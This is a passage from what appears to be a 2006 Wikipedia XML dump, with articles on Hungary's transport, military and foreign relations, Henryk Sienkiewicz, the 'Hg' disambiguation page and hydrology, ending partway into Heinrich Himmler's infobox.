[[AM radio|AM]] 17, [[FM]] 57, [[shortwave]] 3 (1998)

'''Radios:'''
7.01 million (1997)

'''[[Television]] broadcast stations:'''
39 (plus several low-power stations) (1997)

'''Televisions:'''
4.42 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
13 (1999)

'''[[Country code]] (Top-level domain):''' HU

:''See also :'' [[Hungary]]

[[Category:Communications by country|Hungary]]
[[Category:Communications in Hungary| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Hungary</title>
    <id>13430</id>
    <revision>
      <id>38633011</id>
      <timestamp>2006-02-07T16:55:18Z</timestamp>
      <contributor>
        <username>Rjecina</username>
        <id>188865</id>
      </contributor>
      <comment>/* Railways */</comment>
      <text xml:space="preserve">==Railways==
* Total: 7,606 km
** [[Broad gauge]]: 36 km 1.524-m gauge
** [[Standard gauge]]: 7,394 km 1.435-m gauge (2,270 km electrified; 1,236 km double track)
** [[Narrow gauge]]: 176 km 0.760-m gauge ([[1998]])

''Note:'' Hungary and [[Austria]] jointly manage the cross-border standard-gauge railway between [[Győr]]&amp;ndash;[[Sopron]]&amp;ndash;[[Ebenfurt]] (GYSEV/ROeEE), a distance of about 101 km in Hungary and 65 km in Austria.

* '''Attention''': Must important rairoad station of Hungary is [[Budapest Keleti]] . On that station do not exist any warm place in winter, and waiting for train on open place on temperature of -10 celsius is special feeling!!! In buying ticket for train in Budapest never ask for one way ticket because he has greater price of return ticket.


City with [[Metro|underground]] railway system: [[Budapest]] ([[Budapest Metro|Metro]])

==Highways==
* Total: 188,490 km
**Paved: 81,950 km (including 860 km of [[motorway|motorways]], [[2005]])
**Unpaved: 106,523 km (1998 est.)
New motorway sections are being added to the existing network, that already connects many major economically important cities to the [[Budapest|Capital City]], and will be extended to [[Nyíregyháza]] and [[Debrecen]] by the end of 2006.

==Waterways==
1,373 km permanently navigable ([[1997]])

==Pipelines==
* Crude oil 1,204 km
* Natural gas 4,387 km ([[1991]])

==Ports and harbors==
Budapest, [[Dunaújváros]], [[Baja]]

==Merchant marine==
* Total: 2 ships (1,000 GRT or over) totaling 12,949 GRT/14,550 DWT
* Ships by type: cargo 2 (1999 est.)

==Airports==
43 (1999 est.)

===Airports with paved runways:===
* Total: 16
** Over 3,047 m: 2
** 2,438 to 3,047 m: 8
** 1,524 to 2,437 m: 4
** 914 to 1,523 m: 1
** Under 914 m: 1 (1999 est.)

===Airports with unpaved runways===
* Total: 27
** 2,438 to 3,047 m: 3
** 1,524 to 2,437 m: 5
** 914 to 1,523 m: 12
** Under 914 m: 7 (1999 est.)

==Heliports==
5 (1999 est.)

==Transport companies of cities==
* [[BKV]] ([[Budapest]])
* [[DKV]] ([[Debrecen]])
* [[MVK Rt.]] ([[Miskolc]])
* [[SzKT]] ([[Szeged]])
* [[PK Rt.]] ([[Pécs]])
* [[KT Rt.]] ([[Kaposvár]])

In the rest of the cities and towns local transport is provided by [[Volán]] companies that also provide intercity bus lines.

==See also==
* [[Hungary]]
* [[Hungarian State Railways]]
* [[List of airports in Hungary]]
* [[List of motorways in Hungary]]

[[Category:Transportation in Hungary|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Hungary</title>
    <id>13431</id>
    <revision>
      <id>39910902</id>
      <timestamp>2006-02-16T19:37:42Z</timestamp>
      <contributor>
        <ip>141.211.250.37</ip>
      </contributor>
      <comment>/* After the Cold War */</comment>
      <text xml:space="preserve">{{Military
| color=#44dd44
| age=Draft abolished in 2004
| availability=2,588,365 (2000 est.)
| service=2,062,565 (2000 est.)
| reaching age=67,160 (2000 est.)
| active=
| amount=[[USD|$]]732.2 million (FY99)
| percent GDP=1.4% (FY99)
}}

== Ancient and medieval military ==

The Hungarian tribes of ''[[Árpád]] vezér'' who came to settle in the Carpathian Basin were noted for their fearsome horse-mounted warriors, who conducted frequent [[looting]] campaigns throughout much of [[Western Europe]] (once as far as [[Spain]]), terrorizing the entire population with their long range and rapid-firing [[reflex bow]]s. Not until the introduction of well-regulated, plate-armored knight heavy cavalry could German monarchs stop the magyar (onugor) armies. Hence came the term ''[[ogre]]'', a man-eating monster of child tales.

Founding king of Hungary, [[Stephen I of Hungary]] abandoned light cavalry and acquired a western-style, knight and infantry based army. This principle worked well for Szent László, the late [[11th century]] knight-king who pacified the [[kun]] tribes, but failed disastrously 150 years later when the un-disciplined Hungarian [[feudal]] knight army was totally destroyed by [[mongol]] invaders in the Battle of Muhi in [[1241]]. The Mongol herds used almost exactly the same kind of weaponry and tactics as brandished by Hungarian tribes two centuries earlier.

The Hungarian knight army had its golden age under king [[Louis I of Hungary|Louis the Great]], who himself was a famed warrior and conducted semi-successful campaigns in [[Italy]] due to family matters (his younger brother married Joan I, Queen of Naples who murdered him later.) King [[Matthias Corvinus]] maintained very modern mercenary-based royal troops, called the ''Black Army''. King Matthias favoured ancient artillery (catapults) as opposed to cannons, which were the favourite of his father, [[Johannes Hunyadi]] the ''ottoman-beater'', who defended [[Belgrade]] in [[1456]].

During the Ottoman invasion of Central Europe (between late 1300s and circa 1700) Hungarian soldiers protected fortresses and launched light cavalry attacks against the Turks (see [[hussar]]s). The northern fortress of [[Eger]] was famously defended in the autumn of [[1552]] against the combined force of two ottoman armies numbering circa 120,000 men and 16 ultra-heavy siege guns. The victory was very important, because two much stronger forts of [[Szolnok]] and [[Temesvár]] had fallen quickly during the summer. Public opinion attributed Eger's success to the all-Hungarian garrison, as the above two forts have fallen due to treason by the foreign mercenaries manning them. In [[1596]], Eger fell to the Ottomans for the same reason.

In the [[1566]] [[Battle of Szigetvár]], [[Zrínyi Miklós|Nicholas Šubić Zrinski]] defended [[Szigetvár]] for 30 days against the largest Ottoman army ever seen up to that day, and died leading his remaining few soldiers on a final suicide charge to become one of the best known national heroes. His great-grandson, [[Nicholas Zrinski]], poet and general became of the better known stratagems of 1660s. In [[1686]], the capital city [[Buda]] was freed from the ottomans by an allied Christian army composed of Hungarian, Austrian and Western European troops, each roughly 1/3rd of the army. The Habsburg then annexed Hungary.

==Habsburg Hungarian military==

Under Habsburg rule, Hungarian hussars rose to international fame and served as a model for light cavalry in many European countries. Hundreds of thousands of forcibly enrolled Hungarian males served 12 years or more as line infantry during the 1700s-1800s in the Austrian Imperial Army.

Two independence wars interrupted this era, that of Prince [[Francis II Rákóczi]] between [[1703]] and [[1711]] and that of [[Lajos Kossuth]] in [[1848]]&amp;ndash;[[1849]]. Both time Hungarian armies were crushed by the Habsburgs, but the second time not until the help of mighty Czarist Russian armies was summoned to purge [[Józef Bem]]'s second army from Transylvania, opening the path into the heart of Hungary. [[Sándor Petőfi]], the great Hungarian poet became a [[missing in action|MIA]] in the [[Battle of Segesvár]].

Huge numbers of Hungarians served and fell in [[World War I]], especially at the battlefield of [[Isonzo]] and on the Russian front. After the collapse of the Austro-Hungarian empire in late [[1918]], the Red Army of the Hungarian commune-state conducted successful campaigns to protect the borders, until eventually crushed by a coalition of [[Romania]]n, [[Yugoslavia]]n and [[France|French]] troops.

==Mid-twentieth century==

During the 1930s and early 1940s, Hungary was totally preoccupied with the idea of regaining the vast territories and huge amount of population lost in the [[Trianon peace treaty]] at [[Versailles]] in [[1920]]. This required strong armed forces to defeat the neighbouring states, something Hungary couldn't afford. Instead, governor [[Miklós Horthy]] made an alliance with [[Adolf Hitler]]'s [[Third Reich]] and got temporary territorial gains in exchange, for which Hungary had to pay very dearly during and after [[World War II]].

The [[Hungarian Second Army]] was totally devastated at banks of the Don River in January [[1943]], a supplement of the battle for [[Stalingrad]]. Many Hungarian cities received severe damage during allied carpet bombing. The Soviets occupied Hungary during the turn of [[1944]]&amp;ndash;[[1945]], and even though they freed the country from the Nazis, they brought suffering and kept the country occupied. All the bridges were destroyed, cattles looted, women raped, men kidnapped for slave labour in the [[gulag]]s. After the fall of Hungary, [[Magyars|Magyar]] troops of [[Ferenc Szálasi]] continued to fight alongside the [[Wehrmacht]] until the very last day. The Hungarian Danube Flottila fired the last shells in anger on the morning of 8th of May, 1945 and the last Hungarian fighter squadrons torched their remining [[Me-109]]s on the 6th of May, deep inside Germany. Allies thus badged Hungary the ''last [[vassal]]'' of [[Hitler]] and imposed severe retributions on the country.

==Warsaw Pact==

During the Socialist and the [[Warsaw Pact]] era ([[1955]]&amp;ndash;1989), the entire 200,000 strong ''Soviet South Army Group'' was garrisoned in Hungary, complete with artillery, tank regimens, air force and missile troops (with nukes). It was by all means a very capable force, that made little contact with the local population. Between [[1949]] and 1955 there was also a huge effort to build a big Hungarian army. All procedures, disciplines, equipment were exact copies of the soviet Red Army in methods and material, but the huge costs collapsed the economy by [[1956]].

After the autumn 1956 anti-communist revolution was crushed in [[Budapest]], the Soviets took away most of the Hungarian army's equipment. A few years later, when offered a choice of pull-back, the new Hungarian leader [[János Kádár]] asked for all the 200,000 Soviet troops to stay, because it allowed the [[socialist]] [[Hungarian People's Republic]] to neglect its own draft-based armed forces, quickly leading to deterioration of the military. Large sums of money were saved that way and spent on feel-good measures for the population, thus Hungary could become &quot;[[the happiest barrack]]&quot; in the [[Soviet Bloc]].

Training for army conscripts was poor and most of those drafted were actually used as a free labour force (esp. railway track construction and agricultural work) after just a few weeks of basic rifle training. Popular opinion grew very negative towards the Hungarian army and most young man tried to avoid the draft with bogus medical excuses. By the late-1980s garrisons were in bad shape, often worse than slums or barns. There were several dozens of [[meningitis]] cases with some dead among the conscripts and nearby population, due to poor facilities at the garrisons (this was during the mid-1990s).

==After the Cold War==

[[Hungary]] spearheaded the movement to dissolve the [[Warsaw Pact|Warsaw Pact Treaty Organization]] in [[1990]]. The country's new democratic leaders quickly realized the disastrous shape of the domestic military and how it may block their ambitions towards a NATO alliance, but right-wing patriotic sentiments of the FIDESZ and MDF parties blocked the abolishment of conscription that time. Stuck with an obsolete organisational model and very limited funding, the draft-based Hungarian military constantly struggled for most of the 1990s. It was mostly due to pure chance (namely Hungary's location at the edge of the [[Balkan crisis]]) that Hungary was allowed to join the NATO. The country was in no way prepared for NATO membership.

Hungary has since worked to modernize and Westernize its armed forces. The effort is half-hearted at best. The prospect of imminent [[NATO]] membership has led the government to focus on assuring the interoperability of the Hungarian Home Defense Forces (Honvédség) with those of its future allies. This shall require not only a slow, expensive overhaul of military hardware but also a major restructuring of organization, military doctrine, and training. Hungary has been an active participant in the [[Partnership for Peace]] since [[1994]], as well as the NATO-led IFOR/SFOR operations in Bosnia, and regularly contributes to UN peacekeeping missions.

The Honvédség's largest service is the army, followed by the air force and a small naval contingent that patrols the [[Danube]] River, now essentially defunct. The size of the armed forces is now 45,000, down from over 130,000 in 1989. The aim is to reach 40,000 until end of 2006. The draft no longer exists, as the Constitution was modified to abolish mandatory armed service for males in late 2004, after 136 years of continuous conscription. The government has also pledged to increase defense spending to 2% of [[Gross domestic product|GDP]] until 2006 to bring Hungary's military budget in line with those of [[NATO]] countries. This promise will not be kept because of [[EU]] imposed budget restrictions for 2005-2006, thus Hungary must bear frequent [[NATO]] criticism for failing to meet its mutual defence obligations. The negative domestic opinion towards armed forces did not change significantly in the past decade.

==Current military==

The Hungarian armed forces has severely reduced the number of [[battle tank]]s in service, surplused all tracked [[IFV]]s and limits the number of flight hours available to rotary and fixed wing aircraft crews. A large number of [[garrison]]s were shut down, some of them sold to municipal authorities for peaceful uses.

In [[1997]], Hungary spent about 123 billion HUF ($560 million) on defense. Hungary became a member of NATO on [[March 12]], [[1999]]. Hungary provided airbases and support for [[NATO]]'s air campaign against [[Serbia]] and has provided military units to serve in [[Kosovo]] as part of the NATO-led KFOR operation. Hungary has sent a 300 strong logistics unit to [[Iraq]] in order to help the US occupation with armed transport convoys, though public opinion opposed the country's participation in the war. One soldier was KIA due to a roadside bomb in Iraq. The parliament refused to extend the one year mandate of the logistics unit and all troops have returned from Iraq as of mid-January 2005. Hungarian troops are still in Afghanistan as of early 2005 to assist in peace-keeping and de-[[taliban]]ization.

In a significant move for modernization, the first Saab [[Gripen]] light fighter jets shall arrive in Hungary during early [[2006]] to replace the aging [[MiG-29]] fighter interceptors.

== Military branches ==
*Ground Forces
*Air Force
*Border Guard

{{NATO}}
[[Category:Military of Hungary|*]]
[[Category:Militaries|Hungary]]

[[de:Ungarische Armee]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Hungary</title>
    <id>13432</id>
    <revision>
      <id>35958838</id>
      <timestamp>2006-01-20T14:54:45Z</timestamp>
      <contributor>
        <username>Mark83</username>
        <id>239610</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">Except for the short-lived [[neutrality]] declared by [[Imre Nagy]] in November [[1956]], [[Hungary]]'s foreign policy generally followed the [[Soviet Union|Soviet]] lead from [[1947]] to [[1989]]. During the [[Communism|Communist]] period, Hungary maintained treaties of friendship, cooperation, and mutual assistance with the [[Soviet Union]], [[Poland]], [[Czechoslovakia]], the [[German Democratic Republic]], [[Romania]], and [[Bulgaria]]. It was one of the founding members of the Soviet-led [[Warsaw Pact]] and [[Comecon]], and it was the first central European country to withdraw from those organizations, now defunct.

As with any ''country'', Hungarian security attitudes are shaped largely by history and geography. For Hungary, this is a history of more than 400 years of domination by great powers--the [[Ottoman Empire|Ottomans]], the [[Habsburg]]s, the [[Germany|Germans]] during [[World War II]], and the Soviets during the [[Cold War]]--and a geography of regional instability and separation from Hungarian minorities living in neighboring countries. Hungary's foreign policy priorities, largely consistent since [[1990]], represent a direct response to these factors. Since 1990, Hungary's top foreign policy goal has been achieving integration into Western economic and security organizations. Hungary joined the [[Partnership for Peace]] program in [[1994]] and has actively supported the [[IFOR]] and [[SFOR]] missions in [[Bosnia and Herzegovina | Bosnia]]. The Horn government achieved Hungary's most important foreign policy successes of the post-communist era by securing invitations to join both [[NATO]] and the [[European Union]] in [[1997]]. Hungary became member of NATO in [[1999]], and member of the EU in [[2004]].

Hungary also has improved its often-chilled neighborly relations by signing basic treaties with [[Romania]], [[Slovakia]], and [[Ukraine]]. These renounce all outstanding territorial claims and lay the foundation for constructive relations. However, the issue of ethnic Hungarian minority rights in Slovakia and Romania periodically causes bilateral tensions to flare. Hungary was a signatory to the [[Helsinki Final Act]] in [[1975]], has signed all of the CSCE/[[Organization for Security and Co-operation in Europe|OSCE]] follow-on documents since [[1989]], and served as the OSCE's Chairman-in-Office in [[1997]]. Hungary's record of implementing CSCE '''Helsinki Final Act''' provisions, including those on reunification of divided families, remains among the best in eastern Europe. Hungary has been a member of the [[United Nations]] since December [[1955]].

'''Disputes - international:'''
ongoing [[Gabcikovo Dam]] dispute with [[Slovakia]]

'''Illicit drugs:'''
major transshipment point for [[Southwest Asia]]n [[heroin]] and [[cannabis]] and transit point for [[South America]]n [[cocaine]] destined for [[Western Europe]]; limited producer of precursor [[chemical compound|chemicals]], particularly for [[amfetamine|amphetamines]] and [[methamphetamine]]s

==See also==
* [[Hungary]]

[[category:Foreign relations of Hungary| ]]</text>
    </revision>
  </page>
  <page>
    <title>Henryk Sienkiewicz</title>
    <id>13433</id>
    <revision>
      <id>41317741</id>
      <timestamp>2006-02-26T14:55:13Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>* {{gutenberg author| id=Sienkiewicz+Henryk | name=Henryk Sienkiewicz}}</comment>
      <text xml:space="preserve">[[Image:Henryk Sienkiewicz.jpg|250px|Henryk Sienkiewicz|right|thumb|Henryk Sienkiewicz]]
'''Henryk Adam Aleksander Pius Sienkiewicz''' (pronounce: [[Image:Ltspkr.png]] [[Media:Sienkiewicz.ogg|&lt;nowiki&gt;['γεnrɨk ɕen'kieviʧ]&lt;/nowiki&gt;]]) ([[May 5]] [[1846]] - [[November 15]] [[1916]]) was a [[Poland|Polish]] [[novelist]], one of the outstanding [[writer]]s of the second half of the [[19th century]]. Sienkiewicz was born to a well-to-do family in [[Wola Okrzejsk]]a, a town in Russian-ruled Poland. A Polish patriot to the core, Sienkiewicz created [[historical novel]]s that extolled the valiant men and brave deeds of the former [[Rzeczpospolita]].  [[Serial]]izing his novels in [[newspaper]]s, he became immensely popular and beloved in his time and, over a century later, is still highly valued by readers of prose. In Poland he is best known for his colorful historical novels (''[[The Trilogy]]'') depicting the derring-do of Polish heroes in the 17th century [[Polish-Lithuanian Commonwealth]], while abroad, for his novel, ''[[Quo Vadis (novel)|Quo Vadis]]'', set in the reign of the Roman emperor [[Nero]].

Sienkiewicz had a way with language. In the trilogy, for instance, he had his characters use Polish language as it was spoken in seventeenth century. In Krzyżacy, which relates to the [[Battle of Grunwald]] in [[1410]], he even had his characters speak a variety of medieval Polish which he recreated by utilizing many of the archaic expressions then still common among the highlanders of Podhale.

''Quo Vadis'' has been filmed several times, most notably the [[Quo Vadis (1951 movie)|1951 version]].

He won the 1905 [[Nobel Prize in literature]] &quot;because of his outstanding merits as an epic writer.&quot;&lt;sup&gt;1&lt;/sup&gt;

== Works ==

His most important novels were:
* ''[[The Trilogy]]'' (''Trylogia''), comprising:
** ''[[With Fire and Sword]]'' (''Ogniem i mieczem,'' 1884, relating to the great seventeenth century [[Cossacks|Cossack]] revolt known as the [[Chmielnicki Uprising]]); made into [[With Fire and Sword (film)|a movie with the same title]];
** ''[[The Deluge (book)|The Deluge]]'' (''Potop'', 1886, relating to the Swedish invasion of Poland known as [[The Deluge]]); made into [[The Deluge (movie)|a movie with the same title]];
** ''[[Pan Wołodyjowski]]'' (''Pan Wołodyjowski'', 1888, relating to a tale of the wars with the Moslem Ottomans) aka ''[[Fire in the Steppe]]''; made into [[Pan Wołodyjowski (movie)|a movie with the same title]].

* ''[[The Teutonic Knights (book)|The Teutonic Knights]]'', also translated as ''The Knights of the Cross'', ISBN 0781804337  (''Krzyżacy'', 1900, relating to the [[Battle of Grunwald]]).
* ''[[Quo Vadis (novel)|Quo Vadis]]'' (1895).
* ''[[In Desert and Wilderness]]'' (''W pustyni i w puszczy'', 1912).
* ''[[The Polaniecki Family]]'' (''Rodzina Połanieckich'', 1894).
* ''[[Without Dogma]]'' (''Bez dogmatu'', 1891).

== Note ==
* Many commentators erroneusly state that Sienkiewicz received the Nobel Prize for ''Quo vadis''. This is incorrect.  He received it &quot;because of his outstanding merits as an epic writer.&quot; Sources: [http://nobelprize.org/literature/laureates/1905/index.html NobelPrize.org] and [http://miasta.gazeta.pl/poznan/1,36037,2521266.html] ''&quot;Za co Sienkiewicz dostał Nobla&quot;'' (a Polish newspaper article).

==External links==
* {{gutenberg author| id=Sienkiewicz+Henryk | name=Henryk Sienkiewicz}}
*[http://www.polishamericancenter.org/Sienkiewicz.htm Biography at the Polish American Center]
*[http://www.culture.pl/en/culture/instytucje/muzea/in_mu_sienkiewicza_oblegorek Homepage of the Henryk Sienkiewicz Museum in Oblegorek]
*[http://www.muzeumkielce.net/wystawy/oddzialy/oblegorek/oblegorek1.html The house of Henryk Sienkiewicz in Oblegorek]

{{start box}}
{{succession box | before = [[Frédéric Mistral]]/[[José Echegaray]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1905| after = [[Giosuè Carducci]]
}}
{{end box}}

{{Poland-writer-stub}}

[[Category:Historical novelists|Sienkiewicz, Henryk]]
[[Category:1846 births|Sienkiewicz, Henryk]]
[[Category:1916 deaths|Sienkiewicz, Henryk]]
[[Category:Nobel Prize in Literature winners|Sienkiewicz, Henryk]]
[[Category:Polish Nobel Prize winners|Sienkiewicz, Henryk]]
[[Category:Polish novelists|Sienkiewicz, Henryk]]

[[bg:Хенрик Сенкевич]]
[[cs:Henryk Sienkiewicz]]
[[da:Henryk Sienkiewicz]]
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[[el:Χένρικ Σιενκιέβιτς]]
[[es:Henryk Sienkiewicz]]
[[eo:Henryk SIENKIEWICZ]]
[[fr:Henryk Sienkiewicz]]
[[gd:Henryk Sienkiewicz]]
[[hr:Henryk Sienkiewicz]]
[[is:Henryk Sienkiewicz]]
[[it:Henryk Sienkiewicz]]
[[he:הנריק סנקביץ']]
[[lt:Henryk Sienkiewicz]]
[[hu:Henryk Sienkiewicz]]
[[nl:Henryk Sienkiewicz]]
[[ja:ヘンリク・シェンキェヴィチ]]
[[no:Henryk Sienkiewicz]]
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[[ro:Henryk Sienkiewicz]]
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[[sv:Henryk Sienkiewicz]]</text>
    </revision>
  </page>
  <page>
    <title>Hg</title>
    <id>13434</id>
    <revision>
      <id>41615748</id>
      <timestamp>2006-02-28T15:12:18Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 20|Feb 20]] using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''HG''', '''Hg''' or '''hg''' can have many meanings:
*'''Hg''' is the [[chemistry|chemical]] symbol for the element [[Mercury (element)|Mercury]]
*'''Hg''' is the [[astronomy|astronomical]] symbol for the [[planet]] [[Mercury (planet)|Mercury]].
*'''Hg''' is a unit of measure used for calculating engine inlet manifold pressure 
*'''hg''' is the symbol for [[hectogram]] (100 grams) in the [[SI]] system. See [[1 E-1 kg]] for comparisons.
*'''HG''' is one half of comedy duo [[Roy and HG]].
*'''HG''' is the IATA code for [[Niki]] airline
*'''HG''' is the militia movement of [[Slovak People's Party]], HG is known as [[Hlinka Guard]]
*'''HG''' is the acronym for [[HeavenGames]]
*'''HG''' is the abbreviation for [[hyperemesis gravidarum]]
*'''HG''' is the abbreviation for the Japanese celebrity [[Hard Gay]], otherwise known as [[Razor Ramon]]

{{2CC}}

[[it:Hg]]
[[ja:HG]]
[[ko:HG]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrology</title>
    <id>13435</id>
    <revision>
      <id>41650573</id>
      <timestamp>2006-02-28T20:21:49Z</timestamp>
      <contributor>
        <ip>132.177.114.3</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Land_ocean_ice_cloud_1024.jpg|thumb|250px|Water covers 70% of the Earth's surface.]]

'''Hydrology''' (from [[Greek_language|Greek]]: Y&amp;delta;&amp;rho;o&amp;lambda;o&amp;gamma;&amp;iota;&amp;alpha;, Y&amp;delta;&amp;omega;&amp;rho;+&amp;Lambda;o&amp;gamma;os, ''Hydrologia'', the &quot;study of water&quot;) is the study of the movement, distribution, and quality of [[water]] throughout the Earth, and thus addresses both the [[hydrologic cycle]] and [[water resources]]. A practitioner of hydrology is a hydrologist, working within the fields of either [[earth science|earth]] or [[environmental science]], or [[civil engineering|civil]] and [[environmental engineering]].

Domains of hydrology include [[hydrometeorology]], [[surface-water hydrology|surface hydrology]], [[hydrogeology]], [[watershed]] management and [[water quality]], where water plays the central role. [[Oceanography]] and [[meteorology]] are not included because water is only one of many important aspects.

Hydrological research is useful not only in that it allows us to better understand the world in which we live, but also by providing insight for [[environmental engineering]], [[environmental policy|policy]] and [[environmental planning|planning]]. 

==Hydrologic Cycle==

''Main article: [[Hydrologic cycle]]''

The central theme of hydrology is that water moves throughout the Earth through different pathways and at different rates. The most vivid image of this is in the evaporation of water from the ocean, which forms clouds. These clouds drift over the land and produce rain.  The rainwater flows into lakes, rivers, or aquifers.  The water in lakes, rivers, and aquifers then either evaporates back to the atmosphere or eventually flows back to the ocean, completing a cycle.

==Sub-fields of Hydrology==
'''[[Chemical hydrology]]''' is the study of the chemical characteristics of water.

'''[[Ecohydrology]]''' is the study of interactions between organisms and the hydrologic cycle.

'''[[Hydrogeology]]''' is the study of the presence and movement of water in aquifers.

'''[[Hydroinformatics]]''' is the adaptation of information technology to hydrology and water resources applications.

'''[[Hydrometeorology]]''' is the study of the movement of water between land and water body surfaces and the lower atmosphere.

'''[[Isotope hydrology]]''' is the study of the istopic signatures of water.

'''[[Surface-water hydrology|Surface hydrology]]''' is the study of hydrologic processes that operate at or near the [[Earth]]'s surface.

===Related Fields===
*[[Aquatic chemistry]]
*[[Civil engineering]]
*[[Climatology]]
*[[Environmental engineering]]
*[[Geomorphology]]
*[[Hydraulic engineering]]
*[[Limnology]]

==Hydrologic Measurements==

The movement of water through the Earth can be measured in a number of ways. This information is important for both assessing water resources and understanding the processes involved in the hydrologic cycle. Following is a list of devices used by hydrologists and what they are used to measure.

* [[Disdrometer]] - precipitation characteristics
* [[Infiltrometer]] - infiltration
* [[Piezometer]] - groundwater pressure and, by inference, groundwater depth (see: [[aquifer test]])
* [[Radar]] - cloud properties
* [[Rain gauge]] - rain and snowfall 
* [[Satellite]]
* [[Sling psychrometer]] - humidity
* [[stream gage|Stream gauge]] - stream flow (see: [[discharge (hydrology)]])
* [[Tensiometer]] - [[soil moisture]]
* [[Time domain reflectometer]] - [[soil moisture]]

==Hydrologic Prediction==

Observations of hydrologic processes are used to make [[predictions]] of future water movement and quantity.

===Statistical Hydrology===

By analysing the [[Statistics|statistical]] properties of hydrologic records, such as rainfall or river flow, hydrologists can estimate future hydrologic phenomena. This, however, assumes the characteristics of the processes remain unchanged.

See: [[return period]].

===Hydrologic Modeling===

With an understanding of how changes in the environment affect the movement of water, hydrologists can also construct models to predict how these changes will happen in the future.

==Hydrologic Transport==

Water movement is a significant means by which other material, such as soil or pollutants, are transported from place to place.

See: [[erosion]], [[pollution]].

==Applications of Hydrology==

* Mitigating and predicting [[flood]], [[landslide]] and [[drought]] risk;
* Designing [[irrigation]] schemes and managing [[agriculture|agricultural]] productivity;
* Providing [[drinking water]];
* Designing [[dams]] for [[water supply]] or [[hydroelectricity|hydroelectric power]] generation;
* Designing [[bridges]];
* Designing [[sewers]] and [[urban drainage system]];
* Predicting [[geomorphology|geomorphological]] changes, such as [[erosion]] or [[sedimentation]].
* Assessing the impacts of natural and anthropogenic environmental change on [[water resources]].
* Assessing [[pollution|contaminant]] transport risk and establishing environmental policy guidelines.

== See also ==

* [[Current (water)]]
* [[Drainage system]]
* [[Fresh water]]
* [[Groundwater]]
* [[Hydrograph]]
* [[Hydromorphology]]
* [[Hyetograph]]
* [[River]]
* [[Schéma directeur d'aménagement et de gestion des eaux]]
* [[Virtual water]]
* [[Water abstraction]]
* [[Water industry]]
* [[Water table]]
* [[Watershed]]
* [[Well water]]

== References ==

* Introduction to Hydrology, 4e. Viessman and Lewis, 1996.  ISBN 0-673-99337-X
* Handbook of Hydrology.  ISBN 0070397325
* Encyclopedia of Hydrological Sciences.  ISBN 0-471-49103-9

== External links ==

* [http://www.cig.ensmp.fr/~hubert/glu/aglo.htm International Glossary of Hydrology].
* [http://www.usgs.gov U.S. Geological Survey] - [http://water.usgs.gov Water Resources of the United States]
* [http://www.hydrology.org.uk/ British Hydrology Society]
* [http://www.hydrology.uni-freiburg.de/ihf_home-e.htm Institute of Hydrology, Albert-Ludwigs-University of Freiburg, Germany]
* [http://www.weather.gov/ohd/ NOAA's National Weather Service - Office of Hydrologic Development]

{{Environmental science}}

[[Category:Hydrology| ]]
[[Category:Environmental engineering]]
[[Category:Physical geography]]
[[Category:Environmental science]]

[[ca:Hidrologia]]
[[cs:Hydrologie]]
[[da:Hydrologi]]
[[de:Hydrologie]]
[[et:Hüdroloogia]]
[[es:Hidrología]]
[[fr:Hydrologie]]
[[hr:Hidrologija]]
[[nl:Hydrologie]]
[[ja:水文学]]
[[no:Hydrologi]]
[[pl:Hydrologia]]
[[pt:Hidrologia]]
[[sl:Hidrologija]]
[[su:Hidrologi]]
[[fi:Hydrologia]]
[[sv:Hydrologi]]
[[tr:Hidroloji]]
[[zh:水文学]]</text>
    </revision>
  </page>
  <page>
    <title>Heinrich Himmler</title>
    <id>13436</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41901467</id>
      <timestamp>2006-03-02T14:05:40Z</timestamp>
      <contributor>
        <username>Husnock</username>
        <id>63572</id>
      </contributor>
      <comment>rvt</comment>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; style=&quot;width: 25em; font-size: 95%;&quot; cellpadding=&quot;4&quot;
|-
|bgcolor=&quot;E0E0E0&quot; align=&quot;center&quot; colspan=&quot;2&quot;  | '''Heinrich Himmler'''
|- 
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:HLHimmler.jpg|250px|Heinrich Himmler]]
|-
| '''Birth'''
|[[October 7]] [[1900]] 3:30 PM ([[Munich]], [[Germany]])
|-
| '''Death'''
|[[May 23]] [[1945]] 11:14 PM (31a Ülzenerstraße [[Lüneburg]], [[Germany]])
|-
| '''Party'''
|[[National Socialist German Workers Party]] (NSDAP)
|- valign=&quot;top&quot;
| '''Political positions'''
|
*''[[Reichsführer-SS]] (RF-SS)'' (Reich Leader of the [[Schutzstaffel|SS]]) in the NSDAP ([[1929]]-[[1945]])
*''Reichs- und Preussischer Minister des Innern'' (Reich &amp; Prussian Minister of the Interior) of Germany ([[August]] [[1943]]-[[1945]])
*''Chef der Deutschen Polizei (ChdDtP)'' (Chief of German police) ([[June]] [[1936]]-[[1945]])
*''Chef der Heeresrüstung und Befehlshaber des Ersatzheeres (Ch H Rüst u.BdE)'' (Chief of Army Equipment &amp; Commander of the Replacement Army) of Germany ([[July]] [[1944]]-[[1945]])
*''Reichskommissar für die Festigung des Deutschen Volkstums (RKV)'' (Reich Commissioner for the Strengthening of Germanism) in the NSDAP ([[October]] [[1939]]-[[1945]])
*''Verein &quot;[[Lebensborn]] e.V.&quot;'' (President of the Society &quot;Fountain of Life&quot;) of the NSDAP ([[September]] [[1936]]-[[1945]])
*''Verein &quot;Das [[Ahnenerbe]] Forschungs-und Lehrgemeinschaft&quot;'' (President of &quot;The Ancestral Heritage Research &amp; Teaching Society&quot;) of the NSDAP
*''Beauftragter der NSDAP für alle Volkstumsfragen'' (Nazi Party Commissioner for All Racial Matters)
*''Generalbevollmächtigter für die Verwaltung'' ([[Plenipotentiary]] General for Administration) of Germany ([[August]] [[1943]]-[[1945]])
|}
